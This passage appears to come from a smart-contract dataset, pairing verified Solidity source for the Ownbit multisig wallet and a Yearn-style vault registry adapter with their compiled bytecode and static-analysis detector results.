9826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166117259092919063ffffffff16565b80519091501561156e578080602001905160208110156116e857600080fd5b505161156e5760405162461bcd60e51b815260040180806020018281038252602a8152602001806118e3602a913960400191505060405180910390fd5b6060611734848460008561173c565b949350505050565b6060611747856118a9565b611798576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106117d75780518252601f1990920191602091820191016117b8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611839576040519150601f19603f3d011682016040523d82523d6000602084013e61183e565b606091505b509150915081156118525791506117349050565b8051156118625780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315610521578181015183820152602001610509565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061173457505015159291505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220df7932e8d6ea2ef231405f68aa5ab0327711867c271815b9fa2280fedfb8960864736f6c63430007050033 | {"success": true, "error": null, "results": {}} | 10,549 |
0x586d5D66f8A5f563661ac30488CacCCE056cc8b0 | /**
*Submitted for verification at Etherscan.io on 2021-03-05
*/
/**
*Submitted for verification at Etherscan.io on 2021-01-01
*/
pragma solidity ^0.4.26;
// This is the ETH/ERC20 multisig contract for Ownbit.
//
// For 2-of-3 multisig, to authorize a spend, two signtures must be provided by 2 of the 3 owners.
// To generate the message to be signed, provide the destination address and
// spend amount (in wei) to the generateMessageToSign method.
// The signatures must be provided as the (v, r, s) hex-encoded coordinates.
// The S coordinate must be 0x00 or 0x01 corresponding to 0x1b and 0x1c, respectively.
//
// WARNING: The generated message is only valid until the next spend is executed.
// after that, a new message will need to be calculated.
//
//
// INFO: This contract is ERC20 compatible.
// This contract can both receive ETH and ERC20 tokens.
// Notice that NFT (ERC721/ERC1155) is not supported. But can be transferred out throught spendAny.
// Last update time: 2020-12-21.
// copyright @ ownbit.io
//
// Accident Protection MultiSig, rules:
//
// Participants must keep themselves active by submitting transactions.
// Not submitting any transaction within 3,000,000 ETH blocks (roughly 416 days) will be treated as wallet lost (i.e. accident happened),
// other participants can still spend the assets as along as: valid signing count >= Min(mininual required count, active owners).
//
interface Erc20 {
function approve(address, uint256) public;
function transfer(address, uint256) public;
//function balanceOf(address) view public returns (uint256);
}
contract OwnbitMultiSig {
uint constant public MAX_OWNER_COUNT = 9;
//uint constant public MAX_INACTIVE_BLOCKNUMBER = 300; //300 ETH blocks, roughly 1 hour, for testing.
uint constant public MAX_INACTIVE_BLOCKNUMBER = 3000000; //3,000,000 ETH blocks, roughly 416 days.
// The N addresses which control the funds in this contract. The
// owners of M of these addresses will need to both sign a message
// allowing the funds in this contract to be spent.
mapping(address => uint256) private ownerBlockMap; //uint256 is the active blockNumber of this owner
address[] private owners;
uint private required;
// The contract nonce is not accessible to the contract so we
// implement a nonce-like variable for replay protection.
uint256 private spendNonce = 0;
// An event sent when funds are received.
event Funded(address from, uint value);
// An event sent when a spend is triggered to the given address.
event Spent(address to, uint transfer);
// An event sent when a spendERC20 is triggered to the given address.
event SpentERC20(address erc20contract, address to, uint transfer);
// An event sent when an spendAny is executed.
event SpentAny(address to, uint transfer);
modifier validRequirement(uint ownerCount, uint _required) {
require (ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required >= 1);
_;
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] _owners, uint _required) public validRequirement(_owners.length, _required) {
for (uint i = 0; i < _owners.length; i++) {
//onwer should be distinct, and non-zero
if (ownerBlockMap[_owners[i]] > 0 || _owners[i] == address(0x0)) {
revert();
}
ownerBlockMap[_owners[i]] = block.number;
}
owners = _owners;
required = _required;
}
// The fallback function for this contract.
function() public payable {
if (msg.value > 0) {
emit Funded(msg.sender, msg.value);
}
}
// @dev Returns list of owners.
// @return List of owner addresses.
function getOwners() public view returns (address[]) {
return owners;
}
function getSpendNonce() public view returns (uint256) {
return spendNonce;
}
function getRequired() public view returns (uint) {
return required;
}
//return the active block number of this owner
function getOwnerBlock(address addr) public view returns (uint) {
return ownerBlockMap[addr];
}
// Generates the message to sign given the output destination address and amount.
// includes this contract's address and a nonce for replay protection.
// One option to independently verify: https://leventozturk.com/engineering/sha3/ and select keccak
function generateMessageToSign(address erc20Contract, address destination, uint256 value) private view returns (bytes32) {
//the sequence should match generateMultiSigV2 in JS
bytes32 message = keccak256(abi.encodePacked(address(this), erc20Contract, destination, value, spendNonce));
return message;
}
function _messageToRecover(address erc20Contract, address destination, uint256 value) private view returns (bytes32) {
bytes32 hashedUnsignedMessage = generateMessageToSign(erc20Contract, destination, value);
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
return keccak256(abi.encodePacked(prefix, hashedUnsignedMessage));
}
// @destination: the ether receiver address.
// @value: the ether value, in wei.
// @vs, rs, ss: the signatures
function spend(address destination, uint256 value, uint8[] vs, bytes32[] rs, bytes32[] ss) external {
require(destination != address(this), "Not allow sending to yourself");
require(address(this).balance >= value && value > 0, "balance or spend value invalid");
require(_validSignature(address(0x0), destination, value, vs, rs, ss), "invalid signatures");
spendNonce = spendNonce + 1;
//transfer will throw if fails
destination.transfer(value);
emit Spent(destination, value);
}
// @erc20contract: the erc20 contract address.
// @destination: the token receiver address.
// @value: the token value, in token minimum unit.
// @vs, rs, ss: the signatures
function spendERC20(address destination, address erc20contract, uint256 value, uint8[] vs, bytes32[] rs, bytes32[] ss) external {
require(destination != address(this), "Not allow sending to yourself");
//transfer erc20 token
//uint256 tokenValue = Erc20(erc20contract).balanceOf(address(this));
require(value > 0, "Erc20 spend value invalid");
require(_validSignature(erc20contract, destination, value, vs, rs, ss), "invalid signatures");
spendNonce = spendNonce + 1;
// transfer tokens from this contract to the destination address
Erc20(erc20contract).transfer(destination, value);
emit SpentERC20(erc20contract, destination, value);
}
//0x9 is used for spendAny
//be careful with any action, data is not included into signature computation. So any data can be included in spendAny.
//This is usually for some emergent recovery, for example, recovery of NTFs, etc.
//Owners should not generate 0x9 based signatures in normal cases.
function spendAny(address destination, uint256 value, uint8[] vs, bytes32[] rs, bytes32[] ss, bytes data) external {
require(destination != address(this), "Not allow sending to yourself");
require(_validSignature(address(0x9), destination, value, vs, rs, ss), "invalid signatures");
spendNonce = spendNonce + 1;
//transfer tokens from this contract to the destination address
if (destination.call.value(value)(data)) {
emit SpentAny(destination, value);
}
}
//send a tx from the owner address to active the owner
//Allow the owner to transfer some ETH, although this is not necessary.
function active() external payable {
require(ownerBlockMap[msg.sender] > 0, "Not an owner");
ownerBlockMap[msg.sender] = block.number;
}
function getRequiredWithoutInactive() public view returns (uint) {
uint activeOwner = 0;
for (uint i = 0; i < owners.length; i++) {
//if the owner is active
if (ownerBlockMap[owners[i]] + MAX_INACTIVE_BLOCKNUMBER >= block.number) {
activeOwner++;
}
}
//active owners still equal or greater then required
if (activeOwner >= required) {
return required;
}
//active less than required, all active must sign
if (activeOwner >= 1) {
return activeOwner;
}
//at least needs one signature.
return 1;
}
// Confirm that the signature triplets (v1, r1, s1) (v2, r2, s2) ...
// authorize a spend of this contract's funds to the given destination address.
function _validSignature(address erc20Contract, address destination, uint256 value, uint8[] vs, bytes32[] rs, bytes32[] ss) private returns (bool) {
require(vs.length == rs.length);
require(rs.length == ss.length);
require(vs.length <= owners.length);
require(vs.length >= getRequiredWithoutInactive());
bytes32 message = _messageToRecover(erc20Contract, destination, value);
address[] memory addrs = new address[](vs.length);
for (uint i = 0; i < vs.length; i++) {
//recover the address associated with the public key from elliptic curve signature or return zero on error
addrs[i] = ecrecover(message, vs[i]+27, rs[i], ss[i]);
}
require(_distinctOwners(addrs));
_updateActiveBlockNumber(addrs); //update addrs' active block number
//check again, this is important to prevent inactive owners from stealing the money.
require(vs.length >= getRequiredWithoutInactive(), "Active owners updated after the call, please call active() before calling spend.");
return true;
}
// Confirm the addresses as distinct owners of this contract.
function _distinctOwners(address[] addrs) private view returns (bool) {
if (addrs.length > owners.length) {
return false;
}
for (uint i = 0; i < addrs.length; i++) {
//> 0 means one of the owner
if (ownerBlockMap[addrs[i]] == 0) {
return false;
}
//address should be distinct
for (uint j = 0; j < i; j++) {
if (addrs[i] == addrs[j]) {
return false;
}
}
}
return true;
}
//update the active block number for those owners
function _updateActiveBlockNumber(address[] addrs) private {
for (uint i = 0; i < addrs.length; i++) {
//only update block number for owners
if (ownerBlockMap[addrs[i]] > 0) {
ownerBlockMap[addrs[i]] = block.number;
}
}
}
} | 0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063011736721461012657806302fb0c5e146101db5780631398a5f6146101e55780635f43e63f146102105780636ad688261461023b57806385b2566a14610292578063a0e67e2b14610327578063b7d5e56414610393578063c6a2a9f114610440578063d74f8edd1461046b578063f3acb25814610496575b6000341115610124577f5af8184bef8e4b45eb9f6ed7734d04da38ced226495548f46e0c8ff8d7d9a5243334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b005b34801561013257600080fd5b506101d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019082018035906020019190919293919293908035906020019082018035906020019190919293919293908035906020019082018035906020019190919293919293905050506104c1565b005b6101e361085d565b005b3480156101f157600080fd5b506101fa610958565b6040518082815260200191505060405180910390f35b34801561021c57600080fd5b50610225610962565b6040518082815260200191505060405180910390f35b34801561024757600080fd5b5061027c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610969565b6040518082815260200191505060405180910390f35b34801561029e57600080fd5b50610325600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019082018035906020019190919293919293908035906020019082018035906020019190919293919293908035906020019082018035906020019190919293919293905050506109b1565b005b34801561033357600080fd5b5061033c610cc8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561037f578082015181840152602081019050610364565b505050509050019250505060405180910390f35b34801561039f57600080fd5b5061043e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390505050610d56565b005b34801561044c57600080fd5b50610455610fd1565b6040518082815260200191505060405180910390f35b34801561047757600080fd5b50610480610fdb565b6040518082815260200191505060405180910390f35b3480156104a257600080fd5b506104ab610fe0565b6040518082815260200191505060405180910390f35b3073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614151515610565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4e6f7420616c6c6f772073656e64696e6720746f20796f757273656c6600000081525060200191505060405180910390fd5b6000871115156105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4572633230207370656e642076616c756520696e76616c69640000000000000081525060200191505060405180910390fd5b610678888a898989808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508888808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508787808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050506110c6565b15156106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f696e76616c6964207369676e617475726573000000000000000000000000000081525060200191505060405180910390fd5b6001600354016003819055508773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8a896040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561079b57600080fd5b505af11580156107af573d6000803e3d6000fd5b505050507f3d1915a2cdcecdfffc5eb2a7994c069bad5d4aa96aca85667dedbe60bb80491c888a89604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050505050505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420616e206f776e6572000000000000000000000000000000000000000081525060200191505060405180910390fd5b436000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b6000600254905090565b622dc6c081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614151515610a55576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4e6f7420616c6c6f772073656e64696e6720746f20796f757273656c6600000081525060200191505060405180910390fd5b863073ffffffffffffffffffffffffffffffffffffffff163110158015610a7c5750600087115b1515610af0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f62616c616e6365206f72207370656e642076616c756520696e76616c6964000081525060200191505060405180910390fd5b610b8c600089898989808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508888808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508787808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050506110c6565b1515610c00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f696e76616c6964207369676e617475726573000000000000000000000000000081525060200191505060405180910390fd5b6001600354016003819055508773ffffffffffffffffffffffffffffffffffffffff166108fc889081150290604051600060405180830381858888f19350505050158015610c52573d6000803e3d6000fd5b507fd3eec71143c45f28685b24760ea218d476917aa0ac0392a55e5304cef40bd2b68888604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050505050505050565b60606001805480602002602001604051908101604052809291908181526020018280548015610d4c57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610d02575b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614151515610dfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4e6f7420616c6c6f772073656e64696e6720746f20796f757273656c6600000081525060200191505060405180910390fd5b610e9660098b8b8b8b808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508a8a808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508989808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050506110c6565b1515610f0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f696e76616c6964207369676e617475726573000000000000000000000000000081525060200191505060405180910390fd5b6001600354016003819055508973ffffffffffffffffffffffffffffffffffffffff168983836040518083838082843782019150509250505060006040518083038185875af19250505015610fc5577f62ee6f1a2424e70e5cff9d61a0d928aa101e198f192d726c651f1bdad1cd40d98a8a604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b50505050505050505050565b6000600354905090565b600981565b6000806000809150600090505b6001805490508110156110955743622dc6c060008060018581548110151561101157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015156110885781806001019250505b8080600101915050610fed565b600254821015156110aa5760025492506110c1565b6001821015156110bc578192506110c1565b600192505b505090565b60008060606000855187511415156110dd57600080fd5b845186511415156110ed57600080fd5b60018054905087511115151561110257600080fd5b61110a610fe0565b87511015151561111957600080fd5b6111248a8a8a611381565b925086516040519080825280602002602001820160405280156111565781602001602082028038833980820191505090505b509150600090505b865181101561128757600183601b898481518110151561117a57fe5b9060200190602002015101888481518110151561119357fe5b9060200190602002015188858151811015156111ab57fe5b90602001906020020151604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015611226573d6000803e3d6000fd5b50505060206040510351828281518110151561123e57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061115e565b611290826114b5565b151561129b57600080fd5b6112a4826115e4565b6112ac610fe0565b875110151515611370576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260508152602001807f416374697665206f776e6572732075706461746564206166746572207468652081526020017f63616c6c2c20706c656173652063616c6c206163746976652829206265666f7281526020017f652063616c6c696e67207370656e642e0000000000000000000000000000000081525060600191505060405180910390fd5b600193505050509695505050505050565b60008060606113918686866116bd565b91506040805190810160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250905080826040516020018083805190602001908083835b60208310151561140557805182526020820191506020810190506020830392506113e0565b6001836020036101000a0380198251168184511680821785525050505050509050018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b60208310151561147d5780518252602082019150602081019050602083039250611458565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020925050509392505050565b6000806000600180549050845111156114d157600092506115dd565b600091505b83518210156115d857600080600086858151811015156114f257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561154657600092506115dd565b600090505b818110156115cb57838181518110151561156157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16848381518110151561158f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614156115be57600092506115dd565b808060010191505061154b565b81806001019250506114d6565b600192505b5050919050565b60008090505b81518110156116b9576000806000848481518110151561160657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156116ac5743600080848481518110151561166357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80806001019150506115ea565b5050565b60008030858585600354604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401838152602001828152602001955050505050506040516020818303038152906040526040518082805190602001908083835b6020831015156117e857805182526020820191506020810190506020830392506117c3565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090508091505093925050505600a165627a7a72305820b613b06855ae81ee59124d428e10c528ef699dc39b36ec9cc5ca527fc94d92820029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,550 |
0x071b848b34586d0dc0009a3c0e6240b123c57186 | /**
*Submitted for verification at Etherscan.io on 2021-04-11
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/*******************************************************
* Interfaces *
*******************************************************/
interface IV2Vault {
function token() external view returns (address);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function apiVersion() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function emergencyShutdown() external view returns (bool);
function depositLimit() external view returns (uint256);
}
interface IV2Registry {
function numTokens() external view returns (uint256);
function numVaults(address token) external view returns (uint256);
function tokens(uint256 tokenIdx) external view returns (address);
function latestVault(address token) external view returns (address);
function vaults(address token, uint256 tokenIdx)
external
view
returns (address);
}
interface IOracle {
function getNormalizedValueUsdc(address tokenAddress, uint256 amount)
external
view
returns (uint256);
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function allowance(address spender, address owner)
external
view
returns (uint256);
}
interface IHelper {
// Strategies helper
function assetStrategiesDelegatedBalance(address)
external
view
returns (uint256);
// Allowances helper
struct Allowance {
address owner;
address spender;
uint256 amount;
address token;
}
function allowances(
address ownerAddress,
address[] memory tokensAddresses,
address[] memory spenderAddresses
) external view returns (Allowance[] memory);
}
interface ManagementList {
function isManager(address accountAddress) external returns (bool);
}
/*******************************************************
* Management List *
*******************************************************/
contract Manageable {
ManagementList public managementList;
constructor(address _managementListAddress) {
managementList = ManagementList(_managementListAddress);
}
modifier onlyManagers() {
bool isManager = managementList.isManager(msg.sender);
require(isManager, "ManagementList: caller is not a manager");
_;
}
}
/*******************************************************
* Adapter Logic *
*******************************************************/
contract RegisteryAdapterV2Vault is Manageable {
/*******************************************************
* Common code shared by all adapters *
*******************************************************/
IOracle public oracle; // The oracle is used to fetch USDC normalized pricing data
IV2Registry public registry; // The registry is used to fetch the list of vaults and migration data
IHelper public helper; // A helper utility is used for batch allowance fetching and address array merging
address[] public positionSpenderAddresses; // A settable list of spender addresses with which to fetch asset allowances
mapping(address => bool) public assetDeprecated; // Support for deprecating assets. If an asset is deprecated it will not appear is results
uint256 public numberOfDeprecatedAssets; // Used to keep track of the number of deprecated assets for an adapter
/**
* High level static information about an asset
*/
struct AssetStatic {
address id; // Asset address
string typeId; // Asset typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
string name; // Asset Name
string version; // Asset version
Token token; // Static asset underlying token information
}
/**
* High level dynamic information about an asset
*/
struct AssetDynamic {
address id; // Asset address
string typeId; // Asset typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
address tokenId; // Underlying token address;
TokenAmount underlyingTokenBalance; // Underlying token balances
TokenAmount delegatedBalance; // Delegated balances
AssetMetadata metadata; // Metadata specific to the asset type of this adapter
}
/**
* Static token data
*/
struct Token {
address id; // token address
string name; // token name
string symbol; // token symbol
uint8 decimals; // token decimals
}
/**
* Information about a user's position relative to an asset
*/
struct Position {
address assetId; // Asset address
address tokenId; // Underlying asset token address
string typeId; // Position typeId (for example "DEPOSIT," "BORROW," "LEND")
uint256 balance; // asset.balanceOf(account)
TokenAmount accountTokenBalance; // User account balance of underlying token (token.balanceOf(account))
TokenAmount underlyingTokenBalance; // Represents a user's asset position in underlying tokens
Allowance[] tokenAllowances; // Underlying token allowances
Allowance[] assetAllowances; // Asset allowances
}
/**
* Token amount representation
*/
struct TokenAmount {
uint256 amount; // Amount in underlying token decimals
uint256 amountUsdc; // Amount in USDC (6 decimals)
}
/**
* Allowance information
*/
struct Allowance {
address owner; // Allowance owner
address spender; // Allowance spender
uint256 amount; // Allowance amount (in underlying token)
}
/**
* Information about the adapter
*/
struct AdapterInfo {
address id; // Adapter address
string typeId; // Adapter typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
string categoryId; // Adapter categoryId (for example "VAULT")
}
/**
* Fetch static information about an array of assets. This method can be used for off-chain pagination.
*/
function assetsStatic(address[] memory _assetsAddresses)
public
view
returns (AssetStatic[] memory)
{
uint256 numberOfAssets = _assetsAddresses.length;
AssetStatic[] memory _assets = new AssetStatic[](numberOfAssets);
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = _assetsAddresses[assetIdx];
AssetStatic memory _asset = assetStatic(assetAddress);
_assets[assetIdx] = _asset;
}
return _assets;
}
/**
* Fetch dynamic information about an array of assets. This method can be used for off-chain pagination.
*/
function assetsDynamic(address[] memory _assetsAddresses)
public
view
returns (AssetDynamic[] memory)
{
uint256 numberOfAssets = _assetsAddresses.length;
AssetDynamic[] memory _assets = new AssetDynamic[](numberOfAssets);
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = _assetsAddresses[assetIdx];
AssetDynamic memory _asset = assetDynamic(assetAddress);
_assets[assetIdx] = _asset;
}
return _assets;
}
/**
* Fetch static information for all assets
*/
function assetsStatic() external view returns (AssetStatic[] memory) {
address[] memory _assetsAddresses = assetsAddresses();
return assetsStatic(_assetsAddresses);
}
/**
* Fetch dynamic information for all assets
*/
function assetsDynamic() external view returns (AssetDynamic[] memory) {
address[] memory _assetsAddresses = assetsAddresses();
return assetsDynamic(_assetsAddresses);
}
/**
* Fetch underlying token allowances relative to an asset.
* This is useful for determining whether or not a user has token approvals
* to allow depositing into an asset
*/
function tokenAllowances(
address accountAddress,
address tokenAddress,
address assetAddress
) public view returns (Allowance[] memory) {
address[] memory tokenAddresses = new address[](1);
address[] memory assetAddresses = new address[](1);
tokenAddresses[0] = tokenAddress;
assetAddresses[0] = assetAddress;
bytes memory allowances =
abi.encode(
helper.allowances(
accountAddress,
tokenAddresses,
assetAddresses
)
);
return abi.decode(allowances, (Allowance[]));
}
/**
* Fetch asset allowances based on positionSpenderAddresses (configurable).
* This is useful to determine if a particular zap contract is approved for the asset (zap out use case)
*/
function assetAllowances(address accountAddress, address assetAddress)
public
view
returns (Allowance[] memory)
{
address[] memory assetAddresses = new address[](1);
assetAddresses[0] = assetAddress;
bytes memory allowances =
abi.encode(
helper.allowances(
accountAddress,
assetAddresses,
positionSpenderAddresses
)
);
return abi.decode(allowances, (Allowance[]));
}
/**
* Fetch basic static token metadata
*/
function tokenMetadata(address tokenAddress)
internal
view
returns (Token memory)
{
IERC20 _token = IERC20(tokenAddress);
return
Token({
id: tokenAddress,
name: _token.name(),
symbol: _token.symbol(),
decimals: _token.decimals()
});
}
/**
* Deprecate or undeprecate an asset. Deprecated assets will not appear in any adapter method call response
*/
function setAssetDeprecated(address assetAddress, bool newDeprecationStatus)
public
onlyManagers
{
bool currentDeprecationStatus = assetDeprecated[assetAddress];
if (currentDeprecationStatus == newDeprecationStatus) {
revert("Adapter: Unable to change asset deprecation status");
}
if (newDeprecationStatus == true) {
numberOfDeprecatedAssets++;
} else {
numberOfDeprecatedAssets--;
}
assetDeprecated[assetAddress] = newDeprecationStatus;
}
/**
* Set position spender addresses. Used by `assetAllowances(address,address)`.
*/
function setPositionSpenderAddresses(address[] memory addresses)
public
onlyManagers
{
positionSpenderAddresses = addresses;
}
/**
* Fetch TVL for adapter
*/
function assetsTvl() external view returns (uint256) {
uint256 tvl;
address[] memory assetAddresses = assetsAddresses();
uint256 numberOfAssets = assetAddresses.length;
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = assetAddresses[assetIdx];
uint256 _assetTvl = assetTvl(assetAddress);
tvl += _assetTvl;
}
return tvl;
}
/**
* Configure adapter
*/
constructor(
address _registryAddress,
address _oracleAddress,
address _managementListAddress,
address _helperAddress
) Manageable(_managementListAddress) {
require(
_managementListAddress != address(0),
"Missing management list address"
);
require(_registryAddress != address(0), "Missing registry address");
require(_oracleAddress != address(0), "Missing oracle address");
registry = IV2Registry(_registryAddress);
oracle = IOracle(_oracleAddress);
helper = IHelper(_helperAddress);
}
/*******************************************************
* Common code shared by v1 vaults, v2 vaults and earn *
*******************************************************/
/**
* Fetch asset positions of an account given an array of assets. This method can be used for off-chain pagination.
*/
function positionsOf(
address accountAddress,
address[] memory _assetsAddresses
) public view returns (Position[] memory) {
uint256 numberOfAssets = _assetsAddresses.length;
Position[] memory positions = new Position[](numberOfAssets);
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = _assetsAddresses[assetIdx];
Position memory position = positionOf(accountAddress, assetAddress);
positions[assetIdx] = position;
}
return positions;
}
/**
* Fetch asset positins for an account for all assets
*/
function positionsOf(address accountAddress)
external
view
returns (Position[] memory)
{
address[] memory _assetsAddresses = assetsAddresses();
return positionsOf(accountAddress, _assetsAddresses);
}
/*******************************************************
* V2 Adapter (unique logic) *
*******************************************************/
/**
* Return information about the adapter
*/
function adapterInfo() public view returns (AdapterInfo memory) {
return
AdapterInfo({
id: address(this),
typeId: "VAULT_V2",
categoryId: "VAULT"
});
}
/**
* Metadata specific to this asset type
*/
struct AssetMetadata {
string symbol; // Vault symbol
uint256 pricePerShare; // Vault pricePerShare
bool migrationAvailable; // True if a migration is available for this vault
address latestVaultAddress; // Latest vault migration address
uint256 depositLimit; // Deposit limit of asset
bool emergencyShutdown; // Vault is in emergency shutdown mode
}
/**
* Fetch the underlying token address of an asset
*/
function underlyingTokenAddress(address assetAddress)
public
view
returns (address)
{
IV2Vault vault = IV2Vault(assetAddress);
address tokenAddress = vault.token();
return tokenAddress;
}
/**
* Fetch the total number of assets for this adapter
*/
function assetsLength() public view returns (uint256) {
uint256 numTokens = registry.numTokens();
uint256 numVaults;
for (uint256 tokenIdx = 0; tokenIdx < numTokens; tokenIdx++) {
address currentToken = registry.tokens(tokenIdx);
uint256 numVaultsForToken = registry.numVaults(currentToken);
numVaults += numVaultsForToken;
}
return numVaults - numberOfDeprecatedAssets;
}
/**
* Fetch all asset addresses for this adapter
*/
function assetsAddresses() public view returns (address[] memory) {
uint256 numVaults = assetsLength();
address[] memory _assetsAddresses = new address[](numVaults);
uint256 numTokens = registry.numTokens();
uint256 currentVaultIdx;
for (uint256 tokenIdx = 0; tokenIdx < numTokens; tokenIdx++) {
address currentTokenAddress = registry.tokens(tokenIdx);
uint256 numVaultsForToken = registry.numVaults(currentTokenAddress);
for (
uint256 vaultTokenIdx = 0;
